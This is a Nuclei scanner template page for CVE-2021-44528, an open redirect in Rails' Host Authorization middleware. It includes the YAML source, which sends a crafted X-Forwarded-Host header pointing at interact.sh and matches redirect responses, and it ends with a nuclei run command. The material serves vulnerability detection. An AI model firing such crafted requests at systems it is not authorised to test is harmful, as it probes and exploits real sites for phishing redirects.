Skip to content
Nuclei Templates

Open Redirect in Host Authorization Middleware

ID: CVE-2021-44528

Severity: medium

Author: geeknik

Tags: cve2021,cve,seclists,redirect,rubyonrails

Description

Section titled “Description”

Specially crafted “X-Forwarded-Host” headers in combination with certain “allowed host” formats can cause the Host Authorization middleware in Action Pack to redirect users to a malicious website.

YAML Source

Section titled “YAML Source”
id: CVE-2021-44528


info:
  name: Open Redirect in Host Authorization Middleware
  author: geeknik
  severity: medium
  description: Specially crafted "X-Forwarded-Host" headers in combination with certain "allowed host" formats can cause the Host Authorization middleware in Action Pack to redirect users to a malicious website.
  impact: |
    This vulnerability can lead to phishing attacks, where users are tricked into visiting malicious websites and disclosing sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the Open Redirect vulnerability in the Host Authorization Middleware.
  reference:
    - https://seclists.org/oss-sec/2021/q4/att-160/7-0-host-authorzation-open-redirect.patch
    - https://nvd.nist.gov/vuln/detail/CVE-2021-44528
    - https://github.com/rails/rails/commit/0fccfb9a3097a9c4260c791f1a40b128517e7815
    - https://www.debian.org/security/2023/dsa-5372
    - https://security.netapp.com/advisory/ntap-20240208-0003/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-44528
    cwe-id: CWE-601
    epss-score: 0.00178
    epss-percentile: 0.54936
    cpe: cpe:2.3:a:rubyonrails:rails:6.0.4.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rubyonrails
    product: rails
    shodan-query: cpe:"cpe:2.3:a:rubyonrails:rails"
  tags: cve2021,cve,seclists,redirect,rubyonrails


http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        X-Forwarded-Host: //interact.sh


    matchers-condition: and
    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1


      - type: status
        status:
          - 301
          - 302
          - 307
          - 308
# digest: 4a0a00473045022016ab13130554b29c10343b0ff3212743bc5680a91c209a94db549025a19cfaaa022100c78322b5486e01c05926d48acfb0b34ed5f06a457a72134a89a0e9a1a84038cb:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-44528.yaml"

View on Github